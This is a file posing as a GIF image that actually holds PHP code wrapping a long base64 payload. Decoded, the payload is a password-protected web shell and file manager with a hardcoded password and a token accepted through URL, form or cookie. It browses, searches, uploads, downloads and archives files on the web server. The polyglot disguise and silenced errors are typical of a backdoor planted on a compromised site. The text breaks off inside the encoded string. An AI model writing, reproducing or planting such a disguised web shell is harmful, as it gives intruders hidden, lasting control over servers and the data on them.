GIF89a0){@ob_end_clean();} $_b=base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOwpAaW5pX3NldCgnZGVmYXVsdF9jaGFyc2V0JywgJ1VURi04Jyk7CmlmIChmdW5jdGlvbl9leGlzdHMoJ21iX2ludGVybmFsX2VuY29kaW5nJykpIHsKICAgIEBtYl9pbnRlcm5hbF9lbmNvZGluZygnVVRGLTgnKTsKfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0JykgJiYgIWluaV9nZXQoJ2RhdGUudGltZXpvbmUnKSkgewogICAgQGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FzaWEvU2hhbmdoYWknKTsKfQpAc2Vzc2lvbl9zdGFydCgpOwokUEFTUyA9ICdBczExMjIxMSc7CiRGVF9UT0tFTiA9IHN1YnN0cihoYXNoKCdzaGEyNTYnLCAnZnQ4OXwnIC4gJFBBU1MpLCAwLCA0MCk7CmZ1bmN0aW9uIGZ0X3JlcV90b2tlbigpCnsKICAgIGdsb2JhbCAkRlRfVE9LRU47CiAgICBpZiAoaXNzZXQoJF9QT1NUWydmdCddKSkgewogICAgICAgIHJldHVybiAoc3RyaW5nKSRfUE9TVFsnZnQnXTsKICAgIH0KICAgIGlmIChpc3NldCgkX0dFVFsnZnQnXSkpIHsKICAgICAgICByZXR1cm4gKHN0cmluZykkX0dFVFsnZnQnXTsKICAgIH0KICAgIGlmIChpc3NldCgkX0NPT0tJRVsnZnQnXSkpIHsKICAgICAgICByZXR1cm4gKHN0cmluZykkX0NPT0tJRVsnZnQnXTsKICAgIH0KICAgIHJldHVybiAnJzsKfQpmdW5jdGlvbiBmdF90b2tlbl9vaygpCnsKICAgIGdsb2JhbCAkRlRfVE9LRU47CiAgICAkdCA9IGZ0X3JlcV90b2tlbigpOwogICAgcmV0dXJuICgkdCAhPT0gJycgJiYgaGFzaF9lcXVhbHMoJEZUX1RPS0VOLCAkdCkpOwp9CmZ1bmN0aW9uIGZ0X3BlcnNpc3RfYXV0aCgpCnsKICAgIGdsb2JhbCAkRlRfVE9LRU47CiAgICAkX1NFU1NJT05bJ2Z0X29rJ10gPSAxOwogICAgaWYgKCFoZWFkZXJzX3NlbnQoKSkgewogICAgICAgIEBzZXRjb29raWUoJ2Z0JywgJEZUX1RPS0VOLCAwLCAnLycpOwogICAgfQp9CiRNQVhfVVBMT0FEID0gNTI0Mjg4MDA7CiRXRUJfUk9PVCA9IGlzc2V0KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pID8gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA6IGRpcm5hbWUoX19GSUxFX18pOwppZiAoJFdFQl9ST09UID09PSAnJyB8fCAhaXNfZGlyKCRXRUJfUk9PVCkpIHsKICAgICRXRUJfUk9PVCA9IGRpcm5hbWUoX19GSUxFX18pOwp9CiRTQ1JJUFRfUk9PVCA9IGRpcm5hbWUoX19GSUxFX18pOwokd3IgPSBAcmVhbHBhdGgoJFdFQl9ST09UKTsKJHNyID0gQHJlYWxwYXRoKCRTQ1JJUFRfUk9PVCk7CmlmICgkd3IpIHsKICAgICRXRUJfUk9PVCA9ICR3cjsKfQppZiAoJHNyKSB7CiAgICAkU0NSSVBUX1JPT1QgPSAkc3I7Cn0KZnVuY3Rpb24gaCgkcykKewogICAgaWYgKCRzID09PSBudWxsKSB7CiAgICAgICAgJHMgPSAnJzsKICAgIH0KICAgICRvdXQgPSBAaHRtbHNwZWNpYWxjaGFycygoc3RyaW5nKSRzLCBFTlRfUVVPVEVTLCAnVVRGLTgnKTsKICAgIGlmICgkb3V0ID09PSBmYWxzZSB8fCAkb3V0ID09PSBudWxsKSB7CiAgICAgICAgJG91dCA9IGh0bWxzcGVjaWFsY2hhcnMoKHN0cmluZykkcywgRU5UX1FVT1RFUyk7CiAgICB9CiAgICByZXR1cm4gJG91dDsKfQpmdW5jdGlvbiBqc19zdHIoJHMpCnsKICAgICRzID0gKHN0cmluZykkczsKICAgICRzID0gc3RyX3JlcGxhY2UoYXJyYXkoJ1xcJywgIiciLCAiXHIiLCAiXG4iLCAnPC8nKSwgYXJyYXkoJ1xcXFwnLCAiXFwnIiwgJ1xccicsICdcXG4nLCAnPFxcLycpLCAkcyk7CiAgICByZXR1cm4gIiciIC4gJHMgLiAiJyI7Cn0KZnVuY3Rpb24gc29ydF9wYXRoc19uYXQoJiRhcnIpCnsKICAgIGlmICghaXNfYXJyYXkoJGFycikgfHwgZW1wdHkoJGFycikpIHsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBpZiAoZGVmaW5lZCgnU09SVF9OQVRVUkFMJykgJiYgZGVmaW5lZCgnU09SVF9GTEFHX0NBU0UnKSkgewogICAgICAgIEBzb3J0KCRhcnIsIFNPUlRfTkFUVVJBTCB8IFNPUlRfRkxBR19DQVNFKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCduYXRzb3J0JykpIHsKICAgICAgICAkdG1wID0gJGFycjsKICAgICAgICBAbmF0c29ydCgkdG1wKTsKICAgICAgICAkYXJyID0gYXJyYXlfdmFsdWVzKCR0bXApOwogICAgICAgIHJldHVybjsKICAgIH0KICAgIEBzb3J0KCRhcnIpOwp9CmZ1bmN0aW9uIG5vcm1fcGF0aCgkcCkKewogICAgJHAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIChzdHJpbmcpJHApOwogICAgaWYgKHByZWdfbWF0Y2goJyNeW0EtWmEtel06IycsICRwKSkgewogICAgICAgICRwID0gc3RydG9sb3dlcigkcFswXSkgLiBzdWJzdHIoJHAsIDEpOwogICAgfQogICAgcmV0dXJuICRwOwp9CmZ1bmN0aW9uIHVuZGVyX3Jvb3QoJHJvb3QsICRwYXRoKQp7CiAgICAkcm9vdCA9IHJ0cmltKG5vcm1fcGF0aCgkcm9vdCksICcvJyk7CiAgICAkcGF0aCA9IG5vcm1fcGF0aCgkcGF0aCk7CiAgICAkZnVsbCA9IHJlYWxwYXRoKCRwYXRoKTsKICAgIGlmICgkZnVsbCA9PT0gZmFsc2UpIHsKICAgICAgICAkcGFyZW50ID0gcmVhbHBhdGgoZGlybmFtZSgkcGF0aCkpOwogICAgICAgIGlmICgkcGFyZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgICB9CiAgICAgICAgJHBhcmVudCA9IHJ0cmltKG5vcm1fcGF0aCgkcGFyZW50KSwgJy8nKTsKICAgICAgICBpZiAoJHBhcmVudCAhPT0gJHJvb3QgJiYgc3RycG9zKCRwYXJlbnQgLiAnLycsICRyb290IC4gJy8nKSAhPT0gMCkgewogICAgICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgICB9CiAgICAgICAgJGJhc2UgPSBiYXNlbmFtZSgkcGF0aCk7CiAgICAgICAgaWYgKCRiYXNlID09PSAnJyB8fCAkYmFzZSA9PT0gJy4nIHx8ICRiYXNlID09PSAnLi4nKSB7CiAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHBhcmVudCAuICcvJyAuICRiYXNlOwogICAgfQogICAgJGZ1bGwgPSBydHJpbShub3JtX3BhdGgoJGZ1bGwpLCAnLycpOwogICAgaWYgKCRmdWxsICE9PSAkcm9vdCAmJiBzdHJwb3MoJGZ1bGwgLiAnLycsICRyb290IC4gJy8nKSAhPT0gMCkgewogICAgICAgIHJldHVybiBudWxsOwogICAgfQogICAgcmV0dXJuICRmdWxsOwp9CmZ1bmN0aW9uIHJlbF9wYXRoKCRyb290LCAkZnVsbCkKewogICAgJHIgPSBydHJpbShub3JtX3BhdGgoJHJvb3QpLCAnLycpOwogICAgJGYgPSBydHJpbShub3JtX3BhdGgoJGZ1bGwpLCAnLycpOwogICAgaWYgKCRmID09PSAkcikgewogICAgICAgIHJldHVybiAnLic7CiAgICB9CiAgICBpZiAoc3RycG9zKCRmIC4gJy8nLCAkciAuICcvJykgPT09IDApIHsKICAgICAgICAkcmVsID0gbHRyaW0oc3Vic3RyKCRmLCBzdHJsZW4oJHIpKSwgJy8nKTsKICAgICAgICByZXR1cm4gJHJlbCA9PT0gJycgPyAnLicgOiAkcmVsOwogICAgfQogICAgcmV0dXJuICcuJzsKfQpmdW5jdGlvbiBmbXRfc2l6ZSgkbikKewogICAgJG4gPSAoZmxvYXQpJG47CiAgICAkdSA9IGFycmF5KCdCJywgJ0tCJywgJ01CJywgJ0dCJyk7CiAgICAkaSA9IDA7CiAgICB3aGlsZSAoJG4gPj0gMTAyNCAmJiAkaSA8IDMpIHsKICAgICAgICAkbiAvPSAxMDI0OwogICAgICAgICRpKys7CiAgICB9CiAgICByZXR1cm4gKCRpID09IDAgPyAoc3RyaW5nKShpbnQpJG4gOiBzcHJpbnRmKCclLjJmJywgJG4pKSAuICcgJyAuICR1WyRpXTsKfQpmdW5jdGlvbiBzYWZlX25hbWUoJG5hbWUpCnsKICAgICRuYW1lID0gYmFzZW5hbWUoKHN0cmluZykkbmFtZSk7CiAgICAkbmFtZSA9IHByZWdfcmVwbGFjZSgnL1teMC05QS1aYS16XC5cLVxfXHg4MC1ceGZmXSsvJywgJ18nLCAkbmFtZSk7CiAgICBpZiAoJG5hbWUgPT09ICcnIHx8ICRuYW1lID09PSAnLicgfHwgJG5hbWUgPT09ICcuLicpIHsKICAgICAgICAkbmFtZSA9ICd1cGxvYWQuYmluJzsKICAgIH0KICAgIHJldHVybiAkbmFtZTsKfQpmdW5jdGlvbiBiYXRjaF9zZWFyY2goJHJvb3QsICRzdGFydERpciwgJGtleXdvcmQsICRtb2RlLCAkcmVjdXJzaXZlLCAkbWF4SGl0cyA9IDIwMCwgJG1heERlcHRoID0gMTIpCnsKICAgICRoaXRzID0gYXJyYXkoKTsKICAgICRrZXl3b3JkID0gKHN0cmluZykka2V5d29yZDsKICAgIGlmICgka2V5d29yZCA9PT0gJycgfHwgIWlzX2Rpcigkc3RhcnREaXIpKSB7CiAgICAgICAgcmV0dXJuICRoaXRzOwogICAgfQogICAgJHN0YWNrID0gYXJyYXkoYXJyYXkoJHN0YXJ0RGlyLCAwKSk7CiAgICAkc2Nhbm5lZCA9IDA7CiAgICAkbWF4U2NhbiA9IDgwMDA7CiAgICAkbWF4UmVhZCA9IDIwOTcxNTI7CiAgICB3aGlsZSAoIWVtcHR5KCRzdGFjaykgJiYgY291bnQoJGhpdHMpIDwgJG1heEhpdHMgJiYgJHNjYW5uZWQgPCAkbWF4U2NhbikgewogICAgICAgICRpdGVtID0gYXJyYXlfcG9wKCRzdGFjayk7CiAgICAgICAgJGRpciA9ICRpdGVtWzBdOwogICAgICAgICRkZXB0aCA9ICRpdGVtWzFdOwogICAgICAgICRsaXN0ID0gQHNjYW5kaXIoJGRpcik7CiAgICAgICAgaWYgKCRsaXN0ID09PSBmYWxzZSkgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJGxpc3QgYXMgJG5hbWUpIHsKICAgICAgICAgICAgaWYgKCRuYW1lID09PSAnLicgfHwgJG5hbWUgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmdWxsID0gJGRpciAuICcvJyAuICRuYW1lOwogICAgICAgICAgICAkZnVsbE4gPSB1bmRlcl9yb290KCRyb290LCAkZnVsbCk7CiAgICAgICAgICAgIGlmICghJGZ1bGxOKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkc2Nhbm5lZCsrOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRmdWxsTikpIHsKICAgICAgICAgICAgICAgIGlmICgkcmVjdXJzaXZlICYmICRkZXB0aCA8ICRtYXhEZXB0aCkgewogICAgICAgICAgICAgICAgICAgICRzdGFja1tdID0gYXJyYXkoJGZ1bGxOLCAkZGVwdGggKyAxKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaXNfZmlsZSgkZnVsbE4pKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWF0Y2hlZCA9IGZhbHNlOwogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdzY2FuZmlsZScpIHsKICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRuYW1lLCAka2V5d29yZCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJG1hdGNoZWQgPSB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHN6ID0gQGZpbGVzaXplKCRmdWxsTik7CiAgICAgICAgICAgICAgICBpZiAoJHN6ICE9PSBmYWxzZSAmJiAkc3ogPiAwICYmICRzeiA8PSAkbWF4UmVhZCkgewogICAgICAgICAgICAgICAgICAgICRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsTiwgZmFsc2UsIG51bGwsIDAsICRtYXhSZWFkKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGRhdGEgIT09IGZhbHNlICYmIHN0cmlwb3MoJGRhdGEsICRrZXl3b3JkKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1hdGNoZWQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJG1hdGNoZWQpIHsKICAgICAgICAgICAgICAgICRoaXRzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAncmVsJyA9PiByZWxfcGF0aCgkcm9vdCwgJGZ1bGxOKSwKICAgICAgICAgICAgICAgICAgICAnZnVsbCcgPT4gJGZ1bGxOLAogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJGZ1bGxOKSwKICAgICAgICAgICAgICAgICAgICAnbXRpbWUnID0+IEBmaWxlbXRpbWUoJGZ1bGxOKSwKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoY291bnQoJGhpdHMpID49ICRtYXhIaXRzKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWsgMjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkaGl0czsKfQpmdW5jdGlvbiBsaXN0X2RpcnNfcmVsKCRyb290LCAkbWF4RGVwdGggPSA1LCAkbWF4RGlycyA9IDQwMCkKewogICAgJG91dCA9IGFycmF5KCk7CiAgICAkc3RhY2sgPSBhcnJheShhcnJheSgkcm9vdCwgMCwgJycpKTsKICAgIHdoaWxlICghZW1wdHkoJHN0YWNrKSAmJiBjb3VudCgkb3V0KSA8ICRtYXhEaXJzKSB7CiAgICAgICAgJGl0ZW0gPSBhcnJheV9wb3AoJHN0YWNrKTsKICAgICAgICAkZGlyID0gJGl0ZW1bMF07CiAgICAgICAgJGRlcHRoID0gJGl0ZW1bMV07CiAgICAgICAgJGxpc3QgPSBAc2NhbmRpcigkZGlyKTsKICAgICAgICBpZiAoJGxpc3QgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICAkbmFtZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRuYW1lKSB7CiAgICAgICAgICAgIGlmICgkbmFtZSA9PT0gJy4nIHx8ICRuYW1lID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbmFtZXNbXSA9ICRuYW1lOwogICAgICAgIH0KICAgICAgICBuYXRjYXNlc29ydCgkbmFtZXMpOwogICAgICAgIGZvcmVhY2ggKCRuYW1lcyBhcyAkbmFtZSkgewogICAgICAgICAgICAkZnVsbCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG5hbWU7CiAgICAgICAgICAgICRmdWxsTiA9IHVuZGVyX3Jvb3QoJHJvb3QsICRmdWxsKTsKICAgICAgICAgICAgaWYgKCEkZnVsbE4gfHwgIWlzX2RpcigkZnVsbE4pKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVsID0gcmVsX3BhdGgoJHJvb3QsICRmdWxsTik7CiAgICAgICAgICAgIGlmICgkcmVsID09PSAnLicgfHwgJHJlbCA9PT0gJycpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRvdXRbXSA9ICRyZWw7CiAgICAgICAgICAgIGlmICgkZGVwdGggKyAxIDwgJG1heERlcHRoKSB7CiAgICAgICAgICAgICAgICAkc3RhY2tbXSA9IGFycmF5KCRmdWxsTiwgJGRlcHRoICsgMSwgJHJlbCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGNvdW50KCRvdXQpID49ICRtYXhEaXJzKSB7CiAgICAgICAgICAgICAgICBicmVhayAyOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgc29ydF9wYXRoc19uYXQoJG91dCk7CiAgICByZXR1cm4gJG91dDsKfQpmdW5jdGlvbiBidWlsZF9kaXJfdHJlZSgkcGF0aHMpCnsKICAgICR0cmVlID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcCkgewogICAgICAgICRwID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAoc3RyaW5nKSRwKTsKICAgICAgICAkcCA9IHRyaW0oJHAsICcvJyk7CiAgICAgICAgaWYgKCRwID09PSAnJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgJHBhcnRzID0gZXhwbG9kZSgnLycsICRwKTsKICAgICAgICAkcmVmID0gJiR0cmVlOwogICAgICAgICRhY2MgPSAnJzsKICAgICAgICBmb3JlYWNoICgkcGFydHMgYXMgJHBhcnQpIHsKICAgICAgICAgICAgJGFjYyA9ICgkYWNjID09PSAnJykgPyAkcGFydCA6ICgkYWNjIC4gJy8nIC4gJHBhcnQpOwogICAgICAgICAgICBpZiAoIWlzc2V0KCRyZWZbJHBhcnRdKSkgewogICAgICAgICAgICAgICAgJHJlZlskcGFydF0gPSBhcnJheSgncGF0aCcgPT4gJGFjYywgJ2tpZHMnID0+IGFycmF5KCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZWYgPSAmJHJlZlskcGFydF1bJ2tpZHMnXTsKICAgICAgICB9CiAgICAgICAgdW5zZXQoJHJlZik7CiAgICB9CiAgICByZXR1cm4gJHRyZWU7Cn0KZnVuY3Rpb24gcmVuZGVyX2Rpcl90cmVlX2h0bWwoJHRyZWUsICRzZWxlY3RlZCwgJGljbykKewogICAgaWYgKGVtcHR5KCR0cmVlKSkgewogICAgICAgIHJldHVybjsKICAgIH0KICAgICRrZXlzID0gYXJyYXlfa2V5cygkdHJlZSk7CiAgICBuYXRjYXNlc29ydCgka2V5cyk7CiAgICBlY2hvICc8dWwgY2xhc3M9ImRpcnRyZWUiPic7CiAgICBmb3JlYWNoICgka2V5cyBhcyAkbmFtZSkgewogICAgICAgICRub2RlID0gJHRyZWVbJG5hbWVdOwogICAgICAgICRwYXRoID0gJG5vZGVbJ3BhdGgnXTsKICAgICAgICAka2lkcyA9ICRub2RlWydraWRzJ107CiAgICAgICAgJGhhcyA9ICFlbXB0eSgka2lkcyk7CiAgICAgICAgJGlzU2VsID0gKCRzZWxlY3RlZCAhPT0gJycgJiYgJHNlbGVjdGVkID09PSAkcGF0aCk7CiAgICAgICAgJG5lZWRPcGVuID0gZmFsc2U7CiAgICAgICAgaWYgKCRzZWxlY3RlZCAhPT0gJycgJiYgJHNlbGVjdGVkICE9PSAkcGF0aCkgewogICAgICAgICAgICBpZiAoc3RycG9zKCRzZWxlY3RlZCAuICcvJywgJHBhdGggLiAnLycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAkbmVlZE9wZW4gPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRjbHMgPSAnZGlybm9kZScgLiAoJGlzU2VsID8gJyBvbicgOiAnJyk7CiAgICAgICAgZWNobyAnPGxpIGNsYXNzPSInIC4gJGNscyAuICciPic7CiAgICAgICAgaWYgKCRoYXMpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4gY2xhc3M9ImRpcnRvZyIgb25jbGljaz0idG9nZ2xlRGlyKHRoaXMpIj4nIC4gKCRuZWVkT3BlbiA/ICfiiJInIDogJysnKSAuICc8L3NwYW4+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8c3BhbiBjbGFzcz0iZGlydG9nIGVtcHR5Ij7Ctzwvc3Bhbj4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIGNsYXNzPSJkaXJsYWIiIHRpdGxlPSInIC4gaCgkcGF0aCkgLiAnIiBvbmNsaWNrPSJwaWNrRGlyKCcgLiBqc19zdHIoJHBhdGgpIC4gJywgdGhpcykiPic7CiAgICAgICAgZWNobyAnPGltZyBjbGFzcz0iaWNvIiBzcmM9IicgLiAkaWNvIC4gJyIgYWx0PSIiIC8+JyAuIGgoJG5hbWUpOwogICAgICAgIGVjaG8gJzwvYT4nOwogICAgICAgIGlmICgkaGFzKSB7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImRpcmtpZHMiJyAuICgkbmVlZE9wZW4gPyAnJyA6ICcgc3R5bGU9ImRpc3BsYXk6bm9uZSInKSAuICc+JzsKICAgICAgICAgICAgcmVuZGVyX2Rpcl90cmVlX2h0bWwoJGtpZHMsICRzZWxlY3RlZCwgJGljbyk7CiAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvbGk+JzsKICAgIH0KICAgIGVjaG8gJzwvdWw+JzsKfQokSUNPX0RJUiA9ICdkYXRhOmltYWdlL2dpZjtiYXNlNjQsUjBsR09EbGhFQUFRSVRBQUFDSDVCQUVBQUFBQUxBQUFBQUFRQUJBQUFBSW9oSStweSswUG81eTAyb3V6M3J6N0Q0YmlTSmJtaWFicXlyYnVDOGZ5VE5mMmplZjZ6dmYrRHd3S2VRVUFPdz09JzsKJElDT19GT0xERVIgPSAiZGF0YTppbWFnZS9zdmcreG1sLCIgLiByYXd1cmxlbmNvZGUoJzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iI2U4YzUxNyIgZD0iTTEgM2g1bDEgMmg4djlIMXoiLz48cGF0aCBmaWxsPSIjZjVkNzZlIiBkPSJNMSA1aDE0djlIMXoiLz48cGF0aCBmaWxsPSIjYzlhMjI3IiBkPSJNMSAzaDVsMSAySDF6Ii8+PC9zdmc+Jyk7CiRJQ09fRklMRSA9ICJkYXRhOmltYWdlL3N2Zyt4bWwsIiAuIHJhd3VybGVuY29kZSgnPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDE2IDE2Ij48cGF0aCBmaWxsPSIjY2ZkOGRjIiBkPSJNMyAxaDdsMyAzdjExSDN6Ii8+PHBhdGggZmlsbD0iI2VjZWZmMSIgZD0iTTEwIDF2M2gzeiIvPjxwYXRoIGZpbGw9IiM5MGE0YWUiIGQ9Ik01IDdoNnYxSDV6bTAgMmg2djFINXptMCAyaDR2MUg1eiIvPjwvc3ZnPicpOwpmdW5jdGlvbiBmaWxlX3Blcm0oJHBhdGgpCnsKICAgICRwID0gQGZpbGVwZXJtcygkcGF0aCk7CiAgICBpZiAoJHAgPT09IGZhbHNlKSB7CiAgICAgICAgcmV0dXJuICctLS0tJzsKICAgIH0KICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZignJW8nLCAkcCksIC00KTsKfQpmdW5jdGlvbiBmaWxlX293bmVyX3N0cigkcGF0aCkKewogICAgJHVpZCA9IEBmaWxlb3duZXIoJHBhdGgpOwogICAgJGdpZCA9IEBmaWxlZ3JvdXAoJHBhdGgpOwogICAgJHUgPSAoc3RyaW5nKSR1aWQ7CiAgICAkZyA9IChzdHJpbmcpJGdpZDsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgJHVpZCAhPT0gZmFsc2UpIHsKICAgICAgICAkYSA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJGEpICYmIGlzc2V0KCRhWyduYW1lJ10pKSB7CiAgICAgICAgICAgICR1ID0gJGFbJ25hbWUnXTsKICAgICAgICB9CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpICYmICRnaWQgIT09IGZhbHNlKSB7CiAgICAgICAgJGEgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRhKSAmJiBpc3NldCgkYVsnbmFtZSddKSkgewogICAgICAgICAgICAkZyA9ICRhWyduYW1lJ107CiAgICAgICAgfQogICAgfQogICAgaWYgKCR1aWQgPT09IGZhbHNlICYmICRnaWQgPT09IGZhbHNlKSB7CiAgICAgICAgcmV0dXJuICctJzsKICAgIH0KICAgIHJldHVybiAkdSAuICc6JyAuICRnOwp9CmZ1bmN0aW9uIHppcF9hZGRfcGF0aCgkemlwLCAkZnVsbCwgJGxvY2FsKQp7CiAgICBpZiAoaXNfZmlsZSgkZnVsbCkpIHsKICAgICAgICAkemlwLT5hZGRGaWxlKCRmdWxsLCAkbG9jYWwpOwogICAgICAgIHJldHVybjsKICAgIH0KICAgIGlmICghaXNfZGlyKCRmdWxsKSkgewogICAgICAgIHJldHVybjsKICAgIH0KICAgICR6aXAtPmFkZEVtcHR5RGlyKCRsb2NhbCk7CiAgICAkbGlzdCA9IEBzY2FuZGlyKCRmdWxsKTsKICAgIGlmICghaXNfYXJyYXkoJGxpc3QpKSB7CiAgICAgICAgcmV0dXJuOwogICAgfQogICAgZm9yZWFjaCAoJGxpc3QgYXMgJG4pIHsKICAgICAgICBpZiAoJG4gPT09ICcuJyB8fCAkbiA9PT0gJy4uJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgemlwX2FkZF9wYXRoKCR6aXAsICRmdWxsIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRuLCAkbG9jYWwgLiAnLycgLiAkbik7CiAgICB9Cn0KJG1zZyA9ICcnOwokZXJyID0gJyc7CiRmdF9jbGVhciA9IDA7CiRzZWxmID0gYmFzZW5hbWUoaXNzZXQoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pID8gJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10gOiAnZnQucGhwJyk7CmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7CiAgICAkX1NFU1NJT04gPSBhcnJheSgpOwogICAgQHNlc3Npb25fZGVzdHJveSgpOwogICAgaWYgKCFoZWFkZXJzX3NlbnQoKSkgewogICAgICAgIEBzZXRjb29raWUoJ2Z0JywgJycsIHRpbWUoKSAtIDM2MDAsICcvJyk7CiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRzZWxmKTsKICAgICAgICBleGl0OwogICAgfQogICAgJGZ0X2NsZWFyID0gMTsKfQppZiAoaXNzZXQoJF9QT1NUWydkb19sb2dpbiddKSkgewogICAgJHAgPSBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pID8gKHN0cmluZykkX1BPU1RbJ3Bhc3N3b3JkJ10gOiAnJzsKICAgIGlmICgkcCAhPT0gJycgJiYgJHAgPT09ICRQQVNTKSB7CiAgICAgICAgJF9TRVNTSU9OWydmdF9iYXNlJ10gPSAnd2ViJzsKICAgICAgICBmdF9wZXJzaXN0X2F1dGgoKTsKICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7CiAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkc2VsZiAuICc/bT1maWxlcyZiYXNlPXdlYiZmdD0nIC4gcmF3dXJsZW5jb2RlKCRGVF9UT0tFTikpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KICAgICRlcnIgPSAn5a+G56CB6ZSZ6K+vJzsKfQppZiAoIWVtcHR5KCRmdF9jbGVhcikpIHsKICAgICRhdXRoZWQgPSBmYWxzZTsKfSBlbHNlIHsKICAgICRhdXRoZWQgPSAhZW1wdHkoJF9TRVNTSU9OWydmdF9vayddKSB8fCBmdF90b2tlbl9vaygpOwogICAgaWYgKCRhdXRoZWQpIHsKICAgICAgICBmdF9wZXJzaXN0X2F1dGgoKTsKICAgIH0KfQokbSA9IGlzc2V0KCRfR0VUWydtJ10pID8gKHN0cmluZykkX0dFVFsnbSddIDogJ2ZpbGVzJzsKaWYgKCFpbl9hcnJheSgkbSwgYXJyYXkoJ2ZpbGVzJywgJ3VwbG9hZCcsICdkb3dubG9hZCcsICdzZWFyY2gnLCAnYmFzaWMnLCAnc3lzJyksIHRydWUpKSB7Ci